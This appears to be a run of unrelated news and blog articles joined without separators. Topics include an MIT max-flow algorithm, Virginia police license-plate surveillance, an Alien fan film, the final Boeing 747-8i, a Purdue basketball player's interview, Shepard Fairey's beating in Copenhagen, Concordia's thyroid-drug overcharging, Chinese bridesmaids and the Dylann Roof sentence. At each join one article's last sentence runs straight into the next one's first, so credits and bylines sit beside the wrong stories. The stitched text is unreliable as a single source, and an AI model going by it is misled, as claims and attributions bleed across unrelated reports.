CNN Philippines digital producers Lara Tan and Pia Garcia contributed to this report.A group of researchers at the Massachusetts Institute of Technology have devised a potentially more effective way of helping computers solve some of the toughest optimization problems they face.
Their new algorithm is more computationally effective than other approaches because it scales in a "near-linear" fashion, according to Jonathan Kelner, an associate professor of applied mathematics at MIT and a member of MIT's Computer Science and Artificial Intelligence Laboratory, who co-authored the new algorithm.
"The running times for previously known algorithms scaled substantially worse than linearly," Kelner wrote by email, meaning that as a problem becomes more complex, the performance of the computer undertaking the problem slows dramatically.
Linear scaling means that the time it takes to solve a problem using a formula is more or less directly proportional to the size of the problem space being studied.
While the appearance of a potentially powerful new algorithm may not be as exciting as the latest gadgets from this week's Consumer Electronics Show in Las Vegas, it could ultimately have deeper repercussions for the industry, if it significantly cuts the amount of work being done on writing program code and allows computers to efficiently tackle complex problems.
One day, an airline might want to use this optimization algorithm to find the most efficient way of scheduling its flight crews, for instance. Or a router may use it to calculate the fastest path through a busy network.
Kelner and colleague Lorenzo Orecchia will present the algorithm at the Association of Computing Machinery (ACM) Symposium on Discrete Algorithms (SIAM) being held this week in Portland. A number of graduate students as well as mathematicians from Yale University and the University of Southern California also participated in the work.
The paper also appears in the January edition of the ACM-SIAM Symposium on Discrete Algorithms journal. It won an award from the ACM as the best paper of this year's ACM-SIAM.
The algorithm doesn't have an official name yet, though it is being referred to as the "KLOS algorithm" after the first letters of the last names of the primary authors (Kelner, Yin Tat Lee, Orecchia and Aaron Sidford -- who are all from MIT).
Today, optimization problems are usually solved using one of a number of maximum-flow algorithms, often shortened as max-flow.
Max flow models a network by constructing a graph that represents all the end-points as nodes, or vertices, and all the connections among them as edges. It then estimates the most efficient way to route traffic through the network, given the maximum capacity of each node. Max flow estimates the throughput on the edges by saturating an edge one at a time, moving from one edge to the next for additional throughput.
With very complex networks, this approach can consume too much time and too many resources to work effectively. Today's problems often have millions or even billions of edges, Kelner pointed out.
The new algorithm tests all the paths, or edges, at once. The approach is much like electricity running through a circuit of parallel resistors, where the current will spread across all the possible paths at once. To further cut processing time, the algorithm can identify bottlenecks in a network, which max flow algorithms typically do not do.
While the formula could represent a breakthrough in solving optimization problems, much work still needs to be done getting it ready for production use in computers.
"The work we have published so far has focused on the theory, and it would be a fair amount of work to produce a good implementation that exactly follows it," Kelner wrote. The researchers will probably take another turn at making the algorithm simpler before attempting to implement it in a software library so it can be easily used by others.
Joab Jackson covers enterprise software and general technology breaking news for The IDG News Service. Follow Joab on Twitter at @Joab_Jackson. Joab's e-mail address is [email protected]“Clearly, the world faces a looming agricultural crisis, with yield increases insufficient to keep up with projected demands,” says Jon Foley, author of a new study from the Institute on the Environment (IonE) at the University of Minnesota. What that means, basically, is that we’re adding people faster than we’re adding the ability to feed them … which kind of screams “ZOMG! People are going to start eating each other!” to me, but – hey! – I could be wrong about that.
Whether I’m right about that whole “people eating each other” thing or not, though, the problem of population out-pacing food production on a global scale is a very serious one. It’s estimated that global agricultural production would need to grow between 60-110% in the next 30 years in order to keep up with even conservative population growth estimates – which is why, incidentally, products like schmeat (which require less energy and agricultural land to develop than conventional/natural proteins and can help us reach the necessary levels of food production to support a 2050 population) will become more and more important in the coming years.
Also: axes.
You can check out the original Planetsave article and accompanying infographics, below. Enjoy!
Source: Planetsave, Photo: 7lulz, via iLove-Zombies.comimage source: cliff1066/Flickr
Madison Ruppert
Activist Post
The Virginia State Police (VSP) used automatic license plate readers (ALPRs) to collect information for a massive database detailing the political activities of ordinary, innocent people.
If this is surprising to you, it shouldn’t be, given that license plate readers are used on a massive scale in the United States. Furthermore, it is not uncommon for police to maintain and access large databases without public consent.
While the fact that the VSP used license plate scanners in 2008 and 2009 was revealed in August by a Virginia newspaper, new information has been released thanks to documents obtained by the ACLU.
The VSP captured and stored the license plates of vehicles attending events ranging from President Barack Obama’s 2009 inauguration to campaign rallies for Obama and Sarah Palin.
The database, reportedly maintained from 2010 until last spring, allowed police to “pinpoint the locations of millions of cars on particular dates and times,” Rebecca Glenberg, legal director of the ACLU of Virginia wrote.
The ACLU revealed on Wednesday that they received documentation of the VSP program in response to a public records request filed by the ACLU of Virginia.
While the ACLU recognizes some legitimate uses for ALPR data, such as checking “hot lists” of vehicles that have been stolen or used in crimes, they contend that the VSP use crossed the line.
The VSP collected personally identifying information – in this case, license plate data – on drivers only because they were attending a political event. This, the ACLU contends, is where the police crossed over the line into “oppressive surveillance.”
Privacy rights can be maintained with license plate scanners if the information about license plates not placed on a “hot list” is deleted immediately, but that is far from what happened with the VSP.
In this case, the drivers’ information was stored even though they were not even suspected of committing a crime or connected to one in any way. The only thing these drivers were guilty of was assembling peacefully and speaking freely, both rights protected by the First Amendment.
The ACLU contends that this issue is much larger than just some license plates being scanned in Virginia.
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“Monitoring protests and political rallies will chill this fundamental form of expression,” Glenberg writes. “We must be able to participate in demonstrations and campaign events without fearing that our license plate will be scanned and stored by law enforcement.”
This is especially true when one considers participation in political events that might be controversial for one reason or another.
Many people would likely avoid the risk of attending simply based on their fear of being associated with such a cause in an easily-accessed database.
One must also consider the implications for journalism, since reporters would similarly be associated with a particular controversial cause, speaker, party, position, etc. even if they were just attending to cover the event.
The ACLU points out that even the International Association of Chiefs of Police recognized the troubling implications of this trend.
When it comes to license plate readers, “[t]he risk is that individuals will become more cautious in the exercise of their protected rights of expression, protest, association, and political participation because they consider themselves under constant surveillance.”
American Natural Superfood - Free Sample Thankfully VSP consulted with Virginia Attorney General Ken Cuccinelli this year about the legality of their program. Cuccinelli issued a memo outlining why license plate scanners should only be used “provided such data specifically pertains to investigations and intelligence gathering relating to criminal activity,” which it clearly did not in this case. The VSP reportedly wiped their license plate database after the memo was issued and instituted a new policy that includes the destruction of data not related to an investigation within 24 hours of collection. Still, the ACLU contends that “our lawmakers must act to clearly prohibit the VSP from resurrecting this surveillance in the future.” I’d love to hear your opinion, take a look at your story tips and even your original writing if you would like to get it published. I am also available for interviews on radio, television or any other format. Please email me at [email protected] Please support our work and help us start to pay contributors by doing your shopping through our Amazon link or check out some must-have products at our store. This article first appeared at End the Lie.Amateur fan-films paying tribute to their beloved sci-fi franchises are mostly a mixed bag...mostly.
Check out this new geek-led salute to Aliens called Alien Identity, which reintroduces us to the characters of Newt and Private Frost from James Cameron's Aliens, erasing at least part of the controversial decision to kill Newt and Hicks in David Fincher's Alien 3.
20th Century Fox has given its supreme approval to this unofficial spin-off project, written and directed by Adam Sonnet and funded by a future Kickstarter campaign. Sonnet's take on the material ignores the plots of Alien 3 and Alien Resurrection as mere cryo-sleep nightmares and picks up the story 14 years after the events of Aliens, reuniting audiences with Newt (Elle Viane Sonnet) as a troubled young adult in an alternate timeline. Carrie Henn, who played the shrieking, hot chocolate-sipping child survivor in Cameron's 1986 film, will play Newt's mother in an extended flashback scene.
Zoom In
Another popular alum from Aliens, actor Ricco Ross, who played Private Robert Frost, will join the cast in Alien Identity, now playing the deceased Colonial Marine's older brother, Richard.
Zoom In
Here's the brief synopsis from their offiicial site:
When given confidential information about her traumatizing youth, deep space colonist Rebecca "Newt" Jorden, must find the courage to face her new found identity.
Are you glad Newt is getting a second chance in life and will she return to Weyland-Yutani's decimated terraforming camp on LV-426 to find her plastic doll?
(Via Den of Geek)Written By: Royal S. King
EVERETT – This past Friday, July 7th, the 1539th Boeing 747 built, a 747-8 Intercontinental, returned to Paine Field, having been painted at Portland International Airport. Wearing the blue and gray colors of delivery customer Korean Air, there was no fanfare, just a handful of diehard AvGeeks witnessing what could be the last of its kind, a 4-engined Boeing passenger plane.
With the exception of the future Air Force One, there are currently no 747-8i on the order books for Boeing. With a couple of Not Taken Up (NTU) white tails currently stored, frames originally scheduled for Transaero, who went bankrupt in 2015, and the longer, wider 777X currently scheduled for service entry in 2019, this could be the end of the line for the passenger carrying 747.
Announced in 2004 as the 747 Advanced, and confirmed in 2005 as the 747-8, the 747-8i is currently in service with launch customers Lufthansa, Air China, and Korean Air. Along with the Airbus A380, the 747-8i are the only four-engine commercial transports in production.
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like I'm hiding again and my teammates are my best friends and I want to say this is my girlfriend and want them to approve of her and like her.
Q: How important is it for you to have an organization like LGBTQ on campus.
A: I was nervous coming to Indiana. I'm not going to lie. It's not known as the most progressive state, especially now with the new bill. I was coming here for basketball and academics and that was important to me and everything else will come later on. Purdue, being a college campus, it's a whole different generation of people. It is very accepting.
I did find them first. They were at OUTfest, which is where I met Ryan and Lowell. I started making regular visits and told them I wanted to be really involved. We've been working on the conference since I met them at OUTfest (2014). That was my first gay pride event. I was out but it was a gradual process of coming out and it's now out out. There's no more out of the closest. I don't even have a closest anymore.
Q: Based on what's happened in the state the last week (Religious Freedom Restoration Act), do you feel welcome?
A: I do. I don't venture outside of West Lafayette very often unless it's to go back home to Georgia, which is talking about that bill. On Purdue's campus I feel safe and it's different for Indiana because I know Indianapolis has laws to protect against discrimination of LGBTQ.
But I was surprised the governor signed it. When the governor signed it that day, I was very shocked that it happened but I did remind myself there's a large concentration of people that don't support the LGBTQ community.
Q: If gay marriage is allowed in Indiana, would you considered being married in the state?
A: I'm very much in love with Kierre and we talk about marriage a lot but we haven't talked where. If we both had a happy living situation in Indiana, we would get married here if it was allowed but I wouldn't if the bill is still in place. I wouldn't want to support that kind of thinking.
Buy Photo Bree Horrocks with a shot over Florida State's Adut Bulgak in the ACC/Big Ten Challenge Wednesday, December 3, 2014, at Mackey Arena. Purdue lost to FSU 67-64 in overtime. (Photo: John Terhune/Journal & Courier)
Read or Share this story: http://on.jconline.com/1ajUemEArtist best known for the posters that helped elect Barack Obama is accused of peddling pro-government propaganda
When graffiti artist Shepard Fairey turned his talents to US politics, his reward was international acclaim and a letter of thanks from Barack Obama. When he employed a similar tactic in Denmark, however, the response proved altogether less edifying.
Last weekend, Fairey – creator of the famous "Hope" poster that came to encapsulate Obama's 2008 presidential campaign – was beaten up after the opening of his exhibition at a Copenhagen gallery.
Earlier this month he was involved with a controversial mural that has enraged leftwing anarchists throughout the city.
"I have a black eye and a bruised rib," Fairey told the Guardian.
According to reports, 41-year-old Fairey and his colleague Romeo Trinidad were punched and kicked by at least two men outside the Kodboderne 18 nightclub in the early hours of last Saturday morning. Fairey claims the men called him "Obama illuminati" and ordered him to "go back to America".
The LA-based artist believes the attack was sparked by a misunderstanding over his mural commemorating the demolition of the legendary "Ungdomshuset" (youth house) at Jagtvej 69. The building, a long-term base for Copenhagen's leftwing community, was controversially demolished in 2007. In the intervening years it has become a potent symbol of the standoff between the establishment in Copenhagen and its radical fringe.
Fairey's installation, painted on a building adjacent to the vacant site, depicted a dove in flight above the word "peace" and the figure "69". But the mural appeared to reopen old wounds, with critics accusing Fairey of peddling government-funded propaganda.
"The city council is using the painting – directly or indirectly – to decorate the crater-like lot at Jagtvej 69," said local activist Eskil Andreas Halberg in a letter to Modkraft, a leftwing news website. "The art is being used politically to end the conflict in a certain way: 'we're all friends now, right?'"
Within a day of completion, the mural was vandalised by protesters, with graffiti sending messages of "no peace" and "go home, Yankee hipster". Fairey subsequently collaborated with former members of the 69 youth house to redecorate the lower half of the installation. His new version contains images of riot police and explosions, together with a new, more combative slogan: "Nothing forgotten, nothing forgiven".
Fairey explained that the original mural was organised by his Copenhagen gallery, V1, and was never intended as propaganda. "The media reported that it was commissioned by the city, which wasn't true," he told the Guardian.
"It looked to the people at 69 like I was cooperating with the authorities, making a propaganda piece to smooth over the wound." He added that he did not believe his attackers were affiliated to the 69 youth house.
Born to a middle-class family in Charleston, South Carolina, Fairey began his career within the skateboarding scene, designing boards and T-shirts before finding wider fame with his "Obey Giant" sticker campaign. In 2008 his unofficial Barack Obama campaign poster was hailed by the New Yorker's art critic Peter Schjeldahl as "the most efficacious American political illustration since 'Uncle Sam Wants You'."
While the Hope poster was never publicly endorsed by the Obama campaign, its subject sent Fairey a letter. "I would like to thank you for using your talent in support of my campaign," Obama wrote. "Your images have a profound effect on people, whether seen in a gallery or on a stop sign. I am privileged to be a part of your artwork and proud to have your support." Fairey's work now hangs in the Smithsonian, the Museum of Modern Art in New York, the National Portrait Gallery in Washington and the Victoria and Albert Museum in London. These days, he admitted, he has grown used to defending himself against accusations of selling out. "I think there are a lot of people who think that if you've done well, you've done a deal with the devil," he said.
The artist said he had not filed a police report following the attack in Copenhagen. "I did not know any of the people or get a great look at them, so it seemed pointless," he said.
"I'm not a huge fan of the cops anyway. The only thing I could see coming out of it was further media commentary like'street artist whiner Shepard Fairey can't hold it down in a fight so he snitches to the cops'."CMA accuses Canadian firm of overcharging by £100m on thyroid drug with price per pack rising from £4.46 to £258 in 10 years
Concordia International, the Canadian drug company, has overcharged the NHS by more than £100m in the past decade for a life-changing thyroid drug, according to Britain’s competition watchdog.
The Competition and Markets Authority (CMA) said it had provisionally found that Concordia had “abused its dominant position to overcharge the NHS” by hiking the price of liothyronine, used to treat patients with an underactive thyroid, by nearly 6,000% between 2007 and 2017.
The regulator said the NHS had spent more than £34m on the drug last year, up from about £600,000 in 2006. The amount it paid per pack rose from £4.46 in 2007 to £258.19 by July 2017.
The price of a single pill went up from 16p to £9.22, even though production costs remained broadly stable during that period, the CMA said.
Concordia could be fined up to 10% of its worldwide annual turnover.
Drug giants threaten NHS with legal action over cheaper drug that could save £84m a year Read more
Liothyronine tablets are used to treat hypothyroidism, a condition caused by a deficiency of the thyroid hormone that affects at least two in 100 people and can lead to depression, tiredness and weight gain.
For many patients there is no alternative and, until this year, Concordia was the only supplier. This summer, the UK firm Morningside Healthcare and Israel’s Teva were granted licences to supply the drug.
The medicine, a synthetic version of the hormone T3, is taken by patients who do not respond well to the cheaper alternative, levothyroxine. It is sold across Europe for a few cents per pill.
The CMA chief executive, Andrea Coscelli, said: “Pharmaceutical companies which abuse their position and overcharge for drugs are forcing the NHS – and the UK taxpayer – to pay over the odds for important medical treatments.
“We allege that Concordia used its market dominance in the supply of liothyronine tablets to do exactly that.
“At this stage in the investigation, our findings are provisional and there has been no definitive decision that there has been a breach of competition law. We will carefully consider any representations from the companies before deciding whether the law has in fact been broken.”
Concordia and the private equity firms Cinven and HgCapital, the previous owners of Amdipharm Mercury which was acquired by Concordia in 2015, have been asked to respond to the findings.
Concordia said it would review the findings, but added: “We do not believe that competition law has been infringed. The pricing of liothyronine has been conducted openly and transparently with the Department of Health in the UK over a period of 10 years.
“Over that time, significant investment has been made in this medicine to ensure its continued availability for patients in the UK, to the specifications required by the Medicines and Healthcare products Regulatory Agency in the UK.”
The British Thyroid Foundation said: “There are many thyroid patients who have told us that this medicine makes a huge difference to their lives and the enormous price rise has caused significant confusion and distress.
“We look forward to the CMA’s final decision and very much hope that it will lead to an improvement in care for patients with hypothyroidism.”
The drug industry body said it “does not in any way support or condone any deliberate ‘price hikes’ by pharmaceutical companies”.
Mike Thompson, chief executive of the Association of the British Pharmaceutical Industry, said: “We fully support the CMA in taking action in cases of proven abuse of market power. We also continue to support the government in taking policy steps to ensure such abuses cannot happen in the future.
“This case is yet to conclude, but we do not – and will not – support any company found to have intentionally exploited the NHS.”
In a consultation paper published in July, NHS England recommended that health trusts should not prescribe the pill for new patients. It said it was clinically effective but there were cheaper alternatives.
Concordia is the subject of a further CMA investigation. The regulator said in March in a provisional finding that the Canadian firm had made illegal deals with its rival Actavis UK to inflate the price of life-saving hydrocortisone tablets in Britain.
Last year, the CMA fined the US pharma giant Pfizer and drug distributor Flynn Pharma nearly £90m – including a record £84m penalty for Pfizer – after they increased the price charged to the NHS for an anti-epilepsy drug by up to 2,600%.
Britain’s biggest drugmaker, GlaxoSmithKline, and two other firms were fined £45m over the antidepressant paroxetine. Both decisions are under appeal. The CMA is carrying out seven other investigations in relation to drug pricing and competition issues.
• Follow Guardian Business on Twitter at @BusinessDesk, or sign up to the daily Business Today email here.Image caption The shocking murder in Volgograd sparked much social media comment
Police in southern Russia are questioning three men over a murder reportedly motivated by homophobia.
The victim's naked body had been dumped in a courtyard in the city of Volgograd. His skull was smashed and he had been raped with beer bottles.
A suspect told police he had been killed because he was gay.
But the victim's family and friends say he was not homosexual and investigators have told the BBC there is no reason to believe he was.
The victim, 23-year-old Vladislav Tornovoi, was reportedly drinking beer with three men in a children's playground when they fell out.
His body was discovered on Friday after World War II Victory Day celebrations in Volgograd, formerly Stalingrad.
The first reports about the motive for the killing sparked fears among Russia's gay community and civil rights activists.
'He was normal'
A video of one of the suspects appeared online in which he was asked why Mr Tornovoi was attacked. "Because he said he was gay," the suspect replied.
Igor Kekshin, a friend of the dead man, told the BBC the victim had been drinking with men he had grown up with in the area.
Mr Kekshin said Mr Tornovoi had never shown any interest in people of the same sex and had mixed with a lot of girls.
Contacted by the BBC, investigators in Volgograd said: "We have no information about him belonging to this cast of people or not.
"A lot of media are writing about this and the parents of this lad are going about complaining." According to the investigators, the victim's parents said he was not gay.
Community fears
Gay rights activists said the case highlighted growing intolerance in Russia and accused the authorities of encouraging intolerance.
There are fears that homophobia is being fuelled by legislation banning gay parades and dissemination of "homosexual propaganda" to anyone under 18.
In January a bill banning "homosexual propaganda" passed its first reading in the Russian parliament. The second reading is planned for 25 May.
The bill envisages a nationwide ban on events promoting gay rights and big fines for the organisers. A similar law is already in force in St Petersburg.
The European Court of Human Rights has fined Russia for banning gay pride marches in Moscow.
A prominent gay activist in Russia, Nikolai Alexeyev, says the gay community has asked the Moscow authorities for permission to hold a march in the city centre this month, despite the previous refusals.
The request offered two dates - 25 or 26 May - to celebrate 20 years since Russia stopped treating homosexuality as a criminal offence, Interfax news agency reports.Genius Engineers Made an Artificial Intelligence that Plays GTA V and its Scary Good
Self-driving cars are still a ways away from being widely used on our streets, but if the idea of automonous automobiles still creeps you out, this might set your mind at ease…
In a world where you can setup ramps to try to de-rail trains, or hunt for bigfoot, or any number of other countless crazy things, one of the most interesting is actually seeing A.I. play the game instead of you.
Using something called DeepDrive, which is a platform that can be used to create AI for self-driving cars, you can see the safest example of driving that you’ll ever find in a GTA game.
Instead of the normal GTA experience you’re used to, DeepDrive mods the game into becoming a simulator and a tech demo for self-driving cars that can be tweaked and improved over time. Previous versions of DeepDrive took an entire day to setup, but now it only takes about twenty minutes.
The varying landscapes of GTA V made a great place for researchers to train their AI to navigate. From all sorts of different scenery, different types of cars on the road, stop lights, mountain paths, and more, it’s not an easy task.
Now, you might be playing GTA V and look at all of the other AI-controlled cars all over the road and wonder why DeepDrive is any different. DeepDrive isn’t just a car that’s been programmed to run inside of the game, controlled by the game’s source code, it’s a whole separate entity controlling the car, reacting in real time to whatever’s going on around it, and making adjustments accordingly.
DeepDrive takes in the car’s surroundings by capturing the screen in real time, and instantly deciding what to do. If it notices cars in front slowing down, it’ll start to slow down for a stop light. If it sees a cyclist on the road, it’ll avoid hitting them. It can track weather conditions and drive accordingly, too. Since GTA V has hundreds of vehicles and many different conditions, and is about a fifth the size of LA, it proves to be a great testing ground.
Not only that, but it can be expanded with mods like Real World Vehicles, Construction, and more – and it’ll adapt. We’re not sure how it would handle Optimus Prime mod by Menyoo, but that’s what scientists are researchers are for.
Despite the occasional hiccup, self-driving cars in the real world have great track records. Using virtual settings to improve this technology means they can continue to iron things out and make them even better without putting real drivers at risk, but let’s be serious – the self-driving cars are probabally in a lot more danger from real drivers, than real drivers are in danger from the self-driving cars on the road (Especially in Los Santos).
If you want to try setting this up for yourself, you can find instructions here.I was a really heavy smoker, and then something shifted in me. I wanna say about 2008-2009. I was just like, "This isn't working for me, I don't have to do this anymore, I don't want to do this anymore." I started to experience a really, really high degree of anxiety, the specific kind of anxiety that was really self-deprecating. I was getting high and I was just so down on myself. I'm a really social person. Friends of mine smoke constantly in social situations, and I would just like, shut down. "Everything I'm saying is lame, I'm weird, I'm a terrible person." I was denying that that was happening, because I would keep smoking, until one day something snapped and I was like, "Wait a minute, this is supposed to be fun. This is supposed to be something that makes me feel good, and that's not happening for me. So, I'm going to stop." I think I'd feel weird about it if I wasn't so happy with my decision. It just made so much sense to me once I got over that hump.
Listen to Real Estate.Last month, a Chinese bridesmaid died after over consuming alcohol on behalf of the bride
Being a bridesmaid in China is no walk in the park and as a result, a number of brides are outsourcing the role to professionals.
Weddings are supposed to be happy and jolly occasions and for the most part, they are. In China, weddings tend to follow a number of cultural traditions that date back hundreds of years. Rituals such as exchanging specific gifts, forcing the groom through an ordeal to earn the bride’s hand, banquets, and humungous feasts, are all in good fun and characterise Chinese weddings as unique. Bridesmaids in China play a pinnacle role in ensuring that everything runs smoothly for the bride. Amongst others, their tasks include greeting guests and drinking on behalf of the bride. Furthermore, at Chinese weddings, bridesmaids are arguably objectified as part of the wedding display. The beauty and number of bridesmaids reflect well on the bride and her family. This in itself is an important role to fulfill.
It has become sewed into tradition that the newly-weds toast every individual wedding guest, often “ganbei”-ing their drinks – IE the bottoms up approach. Consequently, bridesmaids who are tasked with drinking on behalf of the bride, often end in over-consuming alcohol.
In September, the unfortunate death of a bridesmaid in Wenchang stirred up a conversation about the pressures of bridesmaids in China. The 28-year-old bridesmaid was egged on to drinking a lethal amount of baijiu, which resulted in her choking to death. The incident was recognised as part of a wider problem that Chinese bridesmaids face and reflected on the increasing pressures that befall onto them.
Bridesmaids can also fall victim to sexual harassment and abuse. Traditionally, bridesmaids in China act as the final hurdle before the groom is wed. The groom and groomsmen engage the bridesmaids in stunts that too often involve some sort of sexual innuendo. Stunts range from licking bananas to stripping the bridesmaids. The incidents are predictably exacerbated by alcohol.
Of course, it would be unfair to paint all Chinese weddings with the same brush. After all, China is an extremely large country with 1.3 billion people, so wedding ceremonies will undoubtedly vary. Indeed, sexual harassment and abuse of bridesmaids are largely concentrated in rural areas in China and less so in urban ones. Traditional gender norms still largely exist in rural provinces and as a result, the differing empowerment of women deters women from reporting such assault in rural areas, whereas in urban areas with more liberal gender norms, wedding participants will be subject to legal prosecution in such incidents. Victims may also choose to remain silent to uphold their ‘purity’ and virginity – both of which are cherished dearly in traditional communities.
With all of this in mind, being a bridesmaid in China is a decision one does not take lightly. Consequently, a number of brides in China are now looking to hire professional bridesmaids. Professional bridesmaids, as a service, are offered by more than 50 wedding planning companies in China. Amongst a number of tasks, the professional will drink alcohol and fend off rude guests on behalf of the bride. These professionals are paid anything between 220 yuan and 800 yuan per wedding.
However, whilst these professionals may provide a quick and easy solution for the bride, attitudes towards bridesmaids will still exist. Until legal provisions are introduced to combat the objectification of women across China, the mistreatment of bridesmaids may never cease to exist.
If you missed part 1 of David’s Hong Kong movies worth watching, read it here.The Supreme Court has only been in session without Justice Antonin Scalia for a week. But already, his death is affecting cases, and particularly decisions not to take certain cases to the Supreme Court without the guarantee of his vote.
Last week, Dow Chemical made headlines by opting for a $835 million settlement in a class action lawsuit rather than risk having the case heard by a Scalia-less Supreme Court. A lower court had already ruled against the company for allegedly conspiring to fix prices for industrial chemicals, and prior to the settlement, Dow had appealed to the Supreme Court to overturn the ruling.
In the absence of Scalia’s vote, taking the case to the eight other justices risked the company not just a loss in the specific case, but the potential for a broader ruling that would have put companies in a tougher position in future class action lawsuits.
The current court line-up “increased the likelihood for unfavorable outcomes for business involved in class action suits,” Dow said in a statement Friday, according to the AP.
But it’s not just corporate interests that are quickly recalibrating their legal strategy with the loss of Scalia. A guns right groups decided to forgo a Supreme Court petition last week because the court had lost its conservative tilt.
The New York State Rifle and Pistol Association announced Thursday it would not petition the court to overturn an appeals court decision upholding a New York gun control law.
In a statement on its website, the group argued that currently there are “only four justices committed to a proper understanding of the Second Amendment,” and pointed out that a 4-4 decision would let the appeals court ruling against them stand. There was also the possibility, the statement said, that “in the absence of Justice Scalia’s influence,” there would be a majority of justices that would actually affirm the lower court’s decision, which would create a national precedent for courts to uphold similar gun control laws.
“Merely losing this issue in the Supreme Court, as bad as that would be, is not the worst that could happen if we were to seek Supreme Court review now,” the statement said.My main peeve is the fact they let people on the 28X with 4 suitcases, there needs to be a bag limit, especially for people like me who is an airport employee, I have to stand for 8 hours there, I should not have to on the bus cause ignorant college kids or foreigners hog up 2 seats, 1 for them and a bag and a seat in front for there 2 other bags.
Suitcases blocking the wheelchair spot on the 28X on Dec. 16, 2012.
(Photo by Don Montgomery)
Joshua Michael 1) when people sit on the end seat taking up both seats even when the bus is crowded 2) people who pay with change--like nickels and dimes--which holds up the bus.
Anna Shaffer Living in a major metropolitan city with a mass transit system, you shouldn't have to own a car to get around but in Pittsburgh, that's virtually impossible. Between transfers and zone charges it's extremely expensive. (whether going two stops away or 10 stops away, it's the same price.) PAT is asinine around the board. There's nothing "good" about Pittsburgh Public Transit.
This bus was so crowded the doors to get out in back was blocked which is a fire hazard and the "wheelchair" seat was up and blocked by bags that was laying in aisle blocking egress. This is uncalled for!! Now if a wheelchair bound person got on at IKEA and wanted to go to airport, they would have to wait for next bus!!! Is that fair?????
Amy Doltis Cooper Pet peeve for sure is listening to other people's music. Listening to heavy metal or rap at 7am...turn it down!
Things get broken.
(Mila Sanina/Post-Gazette)
Sue Collins The worst was a bus somewhat like the one in the picture-seat "cushions" flattened beyond recognition, springs showing, etc. It was the 28X, to the airport, and it was gross. Then I realized that this, after the airport, would be one of the first impressions that a visitor might get of Pittsburgh-not flattering at all. Public transportation in other cities has those formed plastic seats with permanent cushions embedded in the seats (sorry for the poor descriptions)-so much better than flattened, filthy rags on springs passing as seat cushions.
Drivers are sometimes aggressive, unfriendly, and...well, hungry.Jurors began deliberating Tuesday over whether Roof, 22, should get the death penalty or life in prison for his crimes. It took two hours for the 12 jurors to come to their unanimous decision. If they all were unable toagree, a life sentence would have been automatically imposed.
Copyright by KLFY - All rights reserved FILE - This June 18, 2015, file photo, provided by the Charleston County Sheriff's Office shows Dylann Roof. A judge ruled Friday, Nov. 25, 2016, that Roof is competent to stand trial for the killing of nine black worshippers at a South Carolina church. (Charleston County Sheriff's Office via AP, File)
Copyright by KLFY - All rights reserved FILE - This June 18, 2015, file photo, provided by the Charleston County Sheriff's Office shows Dylann Roof. A judge ruled Friday, Nov. 25, 2016, that Roof is competent to stand trial for the killing of nine black worshippers at a South Carolina church. (Charleston County Sheriff's Office via AP, File)
"We want to express our sympathy to all of the families who were so grievously hurt by Dylann Roof's actions. Today's sentencing decision means that this case will not be over for a very long time," Roof's defense said in a statement. "We are sorry that, despite our best efforts, the legal proceedings have shed so little light on the reasons for this tragedy."
After the decision, Roof's family also released a statement.
"We will always love Dylann. We will struggle as long as we live to understand why he committed this horrible attack, which caused so much pain to so many good people," the statement read. "We wish to express the grief we feel for the victims of his crimes, and our sympathy to the many families he has hurt. We continue to pray for the Emanuel AME families and the Charleston community."
Formal sentencing will be Wednesday morning, where families will have opportunity to speak openly in court. Roof has asked judge to appoint new defense team to file motion for retrial.
South Carolina Sen. Tim Scott thanked jurors for their service in a statement posted to Twitter, and said Roof was "rightly sentenced to death."On April 21st, 2013 many of the Mid-Atlantic region’s finest teams headed to Taneytown, Maryland for an epic showdown to win the coveted prizes of the Eastern Paintball League’s Beltway Challenge. Teams began showing up to Paintball Adventure Park at 6:00 A.M. to battle it out between four divisions of 3 man and 5 man teams. The competition lasted most of the day as teams struggled and fought for the top seeded places for finals. Big wins during finals by Southern Maryland Havoc, Habu, One Nation TVE, and Virginia Static 2 put them into the winners circle out of the many who had showed up. Dreams were shattered and hearts were broken but the victorious returned home with their winnings of guns, masks, and medals made from precious metals. The field was awesome, the refs were fantastic, and the tournament was run very smoothly. I cannot wait to go to the next one and watch more Mid-Atlantic paintball at the EPL.
Division 4 (5 man):
1st Southern Maryland Havoc
2nd Throwback
3rd Relentless
Division 5 (5 man):
1st Habu
2nd Virginia Static
3rd Bethel Factory
Division 4/5 (3 man):
1st One Nation – TVE
2nd XCAVATORS
3rd Grand Theft Paintball
Division 6 (3 man):
1st Virginia Static 2
2nd Bethel Factory Black
3rd Aggressive Negotiation
We will be releasing a video of the event soon. For now, here are some photos of the event by Mike Oats. You can see the rest of the photos on the EPL’s Facebook page.
2013 EPL South – Event 1 – Actiontown Classic VideoWASHINGTON (Reuters) - U.S. House of Representatives Speaker John Boehner on Thursday challenged an assertion by the Obama administration that Israeli Prime Minister Benjamin Netanyahu’s upcoming speech to Congress about Iran’s nuclear program would be destructive to U.S.-Israeli relations.
Speaker of the House John Boehner (R-OH) speaks about funding for the Department of Homeland Security during a news conference on Capitol Hill in Washington February 25, 2015. REUTERS/Joshua Roberts
“The president’s national security advisor says it’s destructive for the prime minister of Israel to address the United States Congress. I couldn’t disagree more,” Boehner said at his weekly news conference.
“The American people and both parties in Congress have always stood with Israel and nothing, and no one, could get in the way,” the Republican leader said.
Boehner broke precedent by inviting the Israeli leader to address Congress without consulting the White House or Democratic lawmakers. President Barack Obama and other Democrats have accused Netanyahu and Republicans of using the speech to inject partisan politics into the U.S.-Israel relationship.
Tuesday’s speech will be the third by Netanyahu to a joint meeting of the Senate and U.S. House of Representatives. Britain’s World War Two prime minister, Winston Churchill, is the only other international leader to have done so three times.
Several Democrats have said they will skip the speech. Some said, like Obama, that it is inappropriate for Netanyahu to address the U.S. Congress just two weeks before Israeli elections. Others said they do not want a foreign leader weighing in on U.S. foreign affairs.
U.S. lawmakers could have an impact on the course of the nuclear talks. The Senate is due to vote within weeks on whether to impose extra sanctions on Iran. The White House has said this could harm the talks.
Secretary of State John Kerry met behind closed doors with Senate Democrats on Thursday. Lawmakers said he was not overly optimistic about the Iran negotiations but he opposed new sanctions and a proposal to have Congress vote on any nuclear agreement.
Several senators said Kerry told them to make up their own minds about whether to attend Netanyahu’s speech.
As partisan rancor over the speech rose this week, Obama’s national security adviser Susan Rice said in a television interview that it would be destructive to reduce the U.S.-Israeli relationship to a partisan political issue.
There was one sign of bipartisanship on Thursday when Republican Senate Majority Leader Mitch McConnell announced that Netanyahu would meet with him and Democratic Senate leader Harry Reid after the speech next Tuesday.
Related Coverage Netanyahu sets meeting with bipartisan leaders of U.S. Senate
